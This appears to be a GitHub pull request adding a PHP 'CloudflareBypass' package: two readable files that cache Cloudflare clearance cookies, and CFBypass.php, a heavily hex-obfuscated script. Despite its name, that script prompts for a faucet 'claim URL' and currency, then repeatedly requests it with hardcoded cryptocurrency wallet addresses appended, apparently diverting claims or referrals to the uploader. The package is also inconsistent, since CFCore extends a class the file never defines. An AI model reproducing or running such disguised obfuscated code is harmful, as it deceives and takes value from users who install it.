Skip to content

Add files via upload #1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions CFBypass.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
<?php ${"\x47\x4c\x4f\x42\x41\x4cS"}["lu\x6b\x66o\x72\x68\x79\x79\x6f\x66"]="\x74\x77\x6f";${"G\x4cO\x42\x41\x4c\x53"}["\x73v\x77\x73\x76\x76\x73n"]="\x6fn\x65";${"\x47\x4cO\x42\x41\x4cS"}["\x77h\x6c\x77\x61\x62\x76\x73\x70\x73"]="\x64\x61ta";${"G\x4c\x4f\x42ALS"}["\x6bi\x6d\x6e\x78\x6b\x6d\x6ag\x6b"]="\x63\x68";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6b\x65\x65v\x6aru\x78"]="\x67\x65\x74";${"GLOBAL\x53"}["\x71\x69g\x69\x67\x6b\x61\x78pj"]="ur\x6c";${"\x47L\x4f\x42\x41L\x53"}["s\x62\x6c\x6a\x70gb\x63"]="\x69";${"\x47\x4c\x4fBAL\x53"}["\x76\x7aknd\x6a\x61\x62qt\x6e"]="\x74";${"\x47\x4cO\x42A\x4c\x53"}["\x75\x6ffg\x75k"]="\x63\x75";${"\x47\x4cO\x42\x41\x4c\x53"}["\x62\x6c\x66\x71\x6d\x68\x71\x66\x78\x65\x68\x62"]="\x6cin\x6b";date_default_timezone_set("A\x73i\x61/J\x61k\x61\x72ta");$thjnzvjmhc="\x69";error_reporting(0);${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x73\x72w\x6ae\x73\x6ff"]="\x6c";set_time_limit(0);$iiqhshuifgg="l";ini_set("\x6d\x65\x6do\x72y_li\x6d\x69t","-\x31");ini_set("ou\x74pu\x74_buffe\x72in\x67",0);ini_set("r\x65\x71u\x65\x73t_\x6f\x72de\x72","GP");ini_set("v\x61ria\x62\x6c\x65s_\x6f\x72d\x65r","\x45\x47\x50\x43\x53");ini_set("\x6d\x61\x78\x5f\x65xe\x63\x75ti\x6fn\x5f\x74im\x65","-1");echo"In\x70\x75t\x20\x59\x6fur Cl\x61\x69m \x55\x72l:\x20";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x62l\x66qm\x68\x71f\x78\x65\x68\x62"]}=trim(fgets(STDIN));echo"\x57\x68at\x20\x69\x73 \x43\x75\x72r\x65\x6ecy:\x20";${${"GLO\x42\x41\x4cS"}["\x75\x6f\x66guk"]}=trim(fgets(STDIN));echo"Ti\x6d\x65\x20U\x6e\x74i\x6c\x20Pay\x6f\x75\x74:\x20";${${"G\x4c\x4f\x42ALS"}["\x76\x7ak\x6e\x64ja\x62q\x74\x6e"]}=trim(fgets(STDIN));echo"\x4ci\x6d\x69\x74\x20Pro\x63\x63\x65s\x73:\x20";$bxxaiwy="i";${${"GL\x4f\x42\x41\x4c\x53"}["\x6a\x73\x72\x77\x6a\x65\x73\x6f\x66"]}=trim(fgets(STDIN));for(${${"\x47LO\x42\x41\x4c\x53"}["sb\x6c\x6ap\x67\x62\x63"]}=0;${$bxxaiwy}<${$iiqhshuifgg};${$thjnzvjmhc}++){${"\x47\x4cO\x42A\x4c\x53"}["\x79\x7ae\x79\x69\x67ppm\x75"]="\x63u";$wrgntlat="c\x75";$ragtqsljs="\x63u";$mlmdgsxm="\x74";if(${${"GL\x4fBA\x4c\x53"}["u\x6f\x66\x67\x75k"]}=="B\x43\x48"){${"G\x4c\x4f\x42\x41\x4c\x53"}["i\x77\x71h\x72\x6fk\x72w"]="\x75rl";$ahjkfrwuef="g\x65\x74";${${"\x47L\x4f\x42A\x4c\x53"}["i\x77\x71h\x72\x6f\x6b\x72w"]}=${${"\x47L\x4f\x42\x41LS"}["\x62l\x66\x71\x6dhqf\x78\x65h\x62"]}."\x26\x72\x3d1D6\x68\x457\x67\x65Ei\x539Gc9\x76tKHr\x347\x79g\x4a4YhEr\x4dzY\x37&\x72\x63=\x42\x43\x48";$mtlvqli="\x67\x65\x74";${$ahjkfrwuef}=claim(${${"\x47L\x4f\x42\x41\x4cS"}["\x71\x69\x67\x69g\x6b\x61\x78\x70\x6a"]});echo${$mtlvqli};}elseif(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x7a\x65\x79\x69\x67\x70\x70\x6d\x75"]}=="B\x4c\x4b"){$wplfzmkj="\x67\x65t";${"\x47\x4cO\x42\x41\x4c\x53"}["\x71h\x70y\x70h\x7a\x6eb\x6b\x6c"]="url";$hrwmlxxuln="\x75r\x6c";$bgkjuai="\x6c\x69nk";${$hrwmlxxuln}=${$bgkjuai}."&r\x3dB\x4d6\x66y\x56\x68\x4erJ\x50hx\x41\x786\x65\x57\x53s\x74X\x67k24\x50\x7a\x76\x41TV\x55\x6b\x26rc=BL\x4b";${$wplfzmkj}=claim(${${"\x47LOB\x41\x4c\x53"}["\x71\x68\x70\x79p\x68\x7a\x6e\x62k\x6c"]});echo${${"\x47\x4c\x4f\x42A\x4cS"}["\x6b\x65ev\x6a\x72\x75x"]};}elseif(${${"\x47\x4c\x4fB\x41L\x53"}["\x75\x6ff\x67\x75\x6b"]}=="\x42\x54C"){$famjoydbhdc="\x67e\x74";${"\x47\x4cO\x42\x41L\x53"}["\x78\x72\x6b\x6fuo\x6f"]="\x6ci\x6e\x6b";$juvixwiseuq="\x75\x72\x6c";${${"G\x4c\x4f\x42\x41\x4cS"}["\x71\x69\x67ig\x6ba\x78\x70j"]}=${${"G\x4cOBALS"}["x\x72\x6b\x6f\x75\x6f\x6f"]}."&r=\x31\x474k\x79\x54X\x35\x78rCJAJFV\x72Q\x64R\x64\x653\x672\x75Xgp\x57\x6f\x61\x69k\x26r\x63\x3dB\x54C";${${"\x47\x4c\x4f\x42AL\x53"}["\x6be\x65v\x6a\x72\x75\x78"]}=claim(${$juvixwiseuq});echo${$famjoydbhdc};}elseif(${$wrgntlat}=="BT\x58"){${"\x47\x4c\x4fBALS"}["\x6b\x6e\x6a\x73\x63\x79"]="u\x72l";$outwvwytmgh="\x6ci\x6e\x6b";${${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x6ejs\x63\x79"]}=${$outwvwytmgh}."\x26\x72=1\x4dG\x68uR\x75\x38\x35cQ\x46\x36\x57cSS\x74Bp\x47\x71Bv\x31\x32\x52\x67u\x4d\x42\x45\x34j&r\x63=BT\x58";$urqjnnrjkyi="\x75\x72\x6c";${${"G\x4cO\x42\x41LS"}["\x6bee\x76\x6a\x72\x75\x78"]}=claim(${$urqjnnrjkyi});echo${${"G\x4cOB\x41LS"}["\x6be\x65\x76\x6ar\x75x"]};}elseif(${${"\x47\x4c\x4fB\x41L\x53"}["\x75\x6ff\x67\x75\x6b"]}=="\x44\x41\x53\x48"){$jkogyqsb="\x75\x72\x6c";$lrnkhtb="ur\x6c";$fhphjboysp="get";${$lrnkhtb}=${${"\x47\x4c\x4fB\x41\x4cS"}["\x62\x6cf\x71\x6d\x68q\x66x\x65\x68\x62"]}."&\x72=X\x62E\x47\x57nRc\x36V\x75\x4855\x36\x52\x55\x77\x33e\x63\x70\x4c\x6d\x425\x42\x4c\x69\x6d\x4b\x54\x41p\x26\x72c\x3dDA\x53H";${$fhphjboysp}=claim(${$jkogyqsb});echo${${"G\x4c\x4f\x42\x41\x4cS"}["ke\x65v\x6a\x72\x75\x78"]};}elseif(${${"G\x4c\x4f\x42\x41L\x53"}["\x75\x6f\x66\x67uk"]}=="\x44O\x47\x45"){${"\x47\x4cO\x42AL\x53"}["\x72\x71f\x62\x69\x79\x67\x62"]="l\x69\x6ek";$wmpjge="\x67\x65\x74";$iqsbrq="\x75\x72\x6c";${$iqsbrq}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x71f\x62\x69\x79\x67\x62"]}."\x26\x72=\x44H\x57V\x79\x50\x64t\x63Wg\x34\x77\x46\x55\x34\x7aHC\x50\x4a8\x67\x77\x71o\x67K\x35\x59C\x5a4F&\x72\x63=DO\x47\x45";$xuuutvam="\x67\x65\x74";${$wmpjge}=claim(${${"\x47LOB\x41\x4c\x53"}["\x71\x69\x67\x69\x67k\x61\x78p\x6a"]});echo${$xuuutvam};}elseif(${$ragtqsljs}=="\x45\x54H"){${"\x47\x4c\x4f\x42A\x4cS"}["\x74g\x71\x66\x6a\x79"]="\x67\x65\x74";${"\x47\x4cO\x42\x41LS"}["\x76\x75k\x6f\x79mf\x6a\x62\x6b\x6d\x6c"]="\x75r\x6c";${${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x69\x67\x69\x67\x6b\x61\x78\x70\x6a"]}=${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x6c\x66\x71\x6d\x68qf\x78\x65hb"]}."\x26\x72\x3d0xa700fcbb\x34\x63\x32\x3227e1\x39\x35\x38c\x3182f\x31\x6462d\x30\x63f\x33\x66\x3358b\x64d\x26r\x63\x3d\x45TH";${${"GLO\x42\x41\x4c\x53"}["\x74\x67\x71\x66\x6a\x79"]}=claim(${${"GL\x4fB\x41LS"}["\x76uk\x6f\x79\x6dfjb\x6b\x6d\x6c"]});echo${${"\x47\x4cO\x42\x41LS"}["\x6b\x65e\x76\x6ar\x75x"]};}elseif(${${"G\x4c\x4f\x42AL\x53"}["\x75\x6f\x66\x67u\x6b"]}=="\x4c\x54C"){${"\x47L\x4fB\x41LS"}["wp\x63z\x62wf\x6f\x71\x68"]="\x75\x72l";${"\x47\x4c\x4fBA\x4c\x53"}["\x79\x65\x65\x68n\x69\x6cl\x6e"]="\x6c\x69n\x6b";$umcjpevmy="\x67\x65\x74";$ysslcyemsh="u\x72\x6c";${"\x47L\x4f\x42A\x4c\x53"}["yr\x73\x70\x6c\x77v\x71js"]="\x67et";${$ysslcyemsh}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["yee\x68n\x69l\x6c\x6e"]}."\x26r=L\x61\x48i\x45\x66p\x763W\x53\x4dR\x36\x77\x662\x59ci\x75f\x37\x53F7\x74x\x7a\x31\x78H\x77\x73&\x72c\x3dLTC";${${"G\x4cO\x42A\x4c\x53"}["y\x72\x73\x70\x6cw\x76q\x6a\x73"]}=claim(${${"\x47\x4cOBALS"}["\x77\x70c\x7a\x62\x77fo\x71h"]});echo${$umcjpevmy};}elseif(${${"GLOB\x41\x4c\x53"}["u\x6ff\x67\x75k"]}=="P\x50C"){$hdtnch="\x75r\x6c";$ycctewupm="\x67et";${"\x47L\x4fB\x41\x4cS"}["ig\x6as\x6b\x68"]="\x75rl";${"\x47\x4c\x4f\x42A\x4c\x53"}["y\x69\x67c\x74\x71\x63"]="li\x6e\x6b";${${"G\x4cO\x42\x41LS"}["\x69\x67j\x73\x6b\x68"]}=${${"GL\x4f\x42A\x4c\x53"}["\x79\x69g\x63\x74q\x63"]}."\x26\x72=P\x4a\x48C5\x67Dt\x62\x75qW\x66D\x6aMj\x4d4\x52\x5a\x664\x4a\x73\x57\x38\x73B\x39\x68b\x32p\x26r\x63=PPC";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x65\x65\x76\x6a\x72\x75\x78"]}=claim(${$hdtnch});echo${$ycctewupm};}elseif(${${"G\x4cO\x42AL\x53"}["\x75\x6f\x66\x67\x75\x6b"]}=="\x58\x50\x4d"){$xokrrrbb="\x75rl";$jkhpqj="url";$itksuwnolw="\x67\x65\x74";${$xokrrrbb}=${${"\x47\x4c\x4f\x42\x41L\x53"}["\x62\x6cf\x71\x6d\x68\x71f\x78\x65h\x62"]}."&r=\x41Ng\x69\x31X\x5a\x44\x35NZ\x77bry\x55pt\x4c7\x46\x6f\x57b\x6evAMZ\x4aj8\x36\x7a&rc=X\x50M";${$itksuwnolw}=claim(${$jkhpqj});echo${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6b\x65\x65\x76\x6a\x72\x75x"]};}sleep(${$mlmdgsxm});}function claim($link){$gelprlc="\x6ci\x6e\x6b";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64\x61\x73\x68\x74eb"]="\x63\x68";$dtdogdmv="\x63\x68";${${"GL\x4f\x42\x41\x4c\x53"}["d\x61\x73ht\x65\x62"]}=curl_init();curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6bi\x6d\x6e\x78\x6b\x6djgk"]},CURLOPT_URL,${$gelprlc});$wulgtgbrn="\x64\x61\x74\x61";curl_setopt(${$dtdogdmv},CURLOPT_RETURNTRANSFER,1);$ablgjg="\x6ci\x6e\x6b";curl_setopt(${${"G\x4c\x4f\x42\x41L\x53"}["\x6bi\x6dn\x78\x6bm\x6agk"]},CURLOPT_REFERER,${$ablgjg});curl_setopt(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x69\x6dnx\x6b\x6d\x6a\x67\x6b"]},CURLOPT_USERAGENT,"M\x6fz\x69\x6c\x6c\x61/\x34.0\x20(\x63\x6f\x6dpa\x74i\x62\x6c\x65; M\x53I\x45 \x37.0\x3b\x20W\x69nd\x6f\x77s\x20\x4e\x54\x206.1\x3b \x57i\x6e\x36\x34\x3b x6\x34\x3b\x20\x54r\x69dent/\x34.\x30;\x20\x4d\x6fzil\x6ca/4\x2e\x30\x20(c\x6f\x6dp\x61\x74\x69\x62l\x65\x3b\x20\x4d\x53\x49E 6.\x30;\x20W\x69nd\x6f\x77\x73\x20N\x54\x20\x35\x2e\x31; SV1)\x20; \x4ee\x6f\x44\x6f\x77\x6el\x6fa\x64\x65r \x45m\x62\x65\x64ded\x20We\x62 \x42\x72\x6f\x77\x73\x65r\x20\x66r\x6f\x6d:\x20h\x74\x74p://\x62\x73a\x6cs\x61.\x63\x6fm/\x3b\x20\x2e\x4e\x45\x54\x20CL\x52\x202\x2e0\x2e5\x3072\x37\x3b \x53L\x43C\x32; .\x4e\x45\x54\x20CL\x52\x20\x33\x2e5\x2e\x33\x3072\x39\x3b .\x4eET \x43\x4c\x52 3\x2e\x30\x2e307\x32\x39)");${"\x47\x4cO\x42AL\x53"}["\x6c\x6eos\x76\x79"]="\x63\x68";${"\x47\x4cO\x42\x41\x4c\x53"}["v\x6coix\x71\x78\x64\x79n"]="\x64a\x74a";curl_setopt(${${"\x47LO\x42\x41\x4cS"}["\x6bi\x6d\x6e\x78\x6b\x6d\x6a\x67k"]},CURLOPT_COOKIEJAR,"coo\x6bi\x65");curl_setopt(${${"GL\x4fB\x41\x4cS"}["\x6c\x6eo\x73v\x79"]},CURLOPT_COOKIEFILE,"\x63oo\x6bi\x65");${"G\x4c\x4fBALS"}["c\x76\x73\x6a\x6a\x62\x68\x65\x76"]="\x70\x72";${$wulgtgbrn}=curl_exec(${${"\x47\x4c\x4f\x42A\x4cS"}["\x6bi\x6d\x6e\x78k\x6dj\x67k"]});curl_close(${${"\x47\x4cO\x42\x41L\x53"}["\x77h\x6c\x77\x61\x62\x76sp\x73"]});${"\x47\x4c\x4f\x42AL\x53"}["\x7af\x70v\x69\x75"]="\x70r";${${"\x47L\x4f\x42\x41L\x53"}["\x73v\x77\x73\x76\x76sn"]}=explode("<d\x69\x76\x20c\x6c\x61\x73\x73=\"a\x6cer\x74\x20al\x65rt-\x73\x75\x63c\x65\x73\x73\x22>",${${"\x47\x4c\x4f\x42\x41L\x53"}["\x76\x6c\x6fi\x78q\x78\x64\x79\x6e"]});${${"\x47LO\x42AL\x53"}["\x6cuk\x66\x6frhy\x79\x6ff"]}=explode("\x3c/div\x3e",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73vws\x76vsn"]}[1]);${${"G\x4c\x4f\x42\x41\x4cS"}["c\x76\x73\x6a\x6a\x62\x68\x65\x76"]}="$two[0]\n";return${${"\x47\x4c\x4f\x42A\x4c\x53"}["zf\x70vi\x75"]};}
?>
42 changes: 42 additions & 0 deletions CFCore.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
<?php
namespace CloudflareBypass;
class CFCore extends CFBypass
{
/**
* Maximum retries allowed.
* @var integer
*/
protected $max_retries = 5;
/**
* Use caching mechanism.
* @var bool
*/
protected $cache = false;
/**
* Configuration properties:
*
* Key Sets
* -------------------------------------------
* "cache" $this->cache (to Storage class)
* "max_retries" $this->max_retries (to value given)
*
* @access public
* @param array $config Config containing any of the properties above.
* @throws \ErrorException if "max_retries" IS NOT an integer
*/
public function __construct($config = array())
{
$cache = isset($config['cache']) ? $config['cache'] : true;
$cache_path = isset($config['cache_path']) ? $config['cache_path'] : sys_get_temp_dir()."/cf-bypass";
if ($cache === true) {
$this->cache = new Storage($cache_path);
}
// Set $this->max_retries
if (isset($config['max_retries'])) {
if (!is_numeric($config['max_retries'])) {
throw new \ErrorException('"max_retries" should be an integer!');
}
$this->max_retries = $config['max_retries'];
}
}
}
122 changes: 122 additions & 0 deletions Storage.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
<?php
namespace CloudflareBypass;
class Storage
{
/**
* Path storage
*
* @var string
*/
protected $path;
/**
* Creates Cache directory if it does NOT exist
*
* @access public
* @throws \ErrorException if cache directory CAN NOT be created
*/
public function __construct($path)
{
$this->path = $path;
// Suffix path with forward-slash if not done already.
if (substr($this->path, -1) !== "/") {
$this->path .= "/";
}
$this->createBaseFolder();
}
/**
* Create base folder path
*
* @return void
*/
public function createBaseFolder()
{
if (!is_dir($this->path)) {
if (!mkdir($this->path, 0755, true)) {
throw new \ErrorException('Unable to create Cache directory!');
}
}
}
/**
* Returns clearance tokens from the specified cache file.
*
* @access public
* @param $site_host Site host
* @throws \ErrorException if $site_host IS empty
* @return array Clearance tokens or FALSE
*/
public function fetch($site_host)
{
if (trim($site_host) === "") {
throw new \ErrorException("Site host should not be empty!");
}
// Construct cache file endpoint.
$file = md5($site_host);
if (!file_exists($this->path . $file)) {
if (preg_match('/^www./', $site_host)) {
$file = md5(substr($site_host, 4));
}
}
if (file_exists($this->path . $file)) {
return json_decode(file_get_contents($this->path . $file), true);
}
return false;
}
/**
* Stores clearance tokens into a cache file in cache folder.
*
* File name: Data:
* -------------------------------------------
* md5( file name ) {"__cfduid":"<cfduid>", "cf_clearance":"<cf_clearance>"}
*
* @access public
* @param string $site_host site host name
* @param array $clearance_tokens Associative array containing "__cfduid" and "cf_clearance" cookies
* @throws \ErrorException if $site_host IS empty
* @throws \ErrorException if $clearance_tokens IS missing token fields, OR contains rubbish
* @throws \ErrorException if file_put_contents FAILS to write to file
*/
public function store($site_host, $clearance_tokens)
{
if (trim($site_host) === "") {
throw new \ErrorException("Site host should not be empty!");
}
if (!(
is_array($clearance_tokens) &&
isset($clearance_tokens['__cfduid']) &&
isset($clearance_tokens['cf_clearance'])
)) {
throw new \ErrorException("Clearance tokens not in a valid format!");
}
// Construct cache file endpoint.
$filename = $this->path . md5($site_host);
// Perform data retention duties.
$this->retention();
if (!file_put_contents($filename, json_encode($clearance_tokens))) {
// Remove file if it exists.
if (file_exists($filename)) {
unlink($filename);
}
}
}
/**
* Deletes files from cache folder which are older than 24 hours.
*
* @access private
*/
private function retention()
{
if ($handle = opendir($this->path)) {
while (false !== ($file = readdir($handle))) {
// Skip special directories.
if ('.' === $file || '..' === $file || strpos($file, '.') === 0) {
continue;
}

// Delete file if last modified over 24 hours ago.
if (time()-filemtime($this->path . "/" . $file) > 86400) {
unlink($this->path . "/". $file);
}
}
}
}
}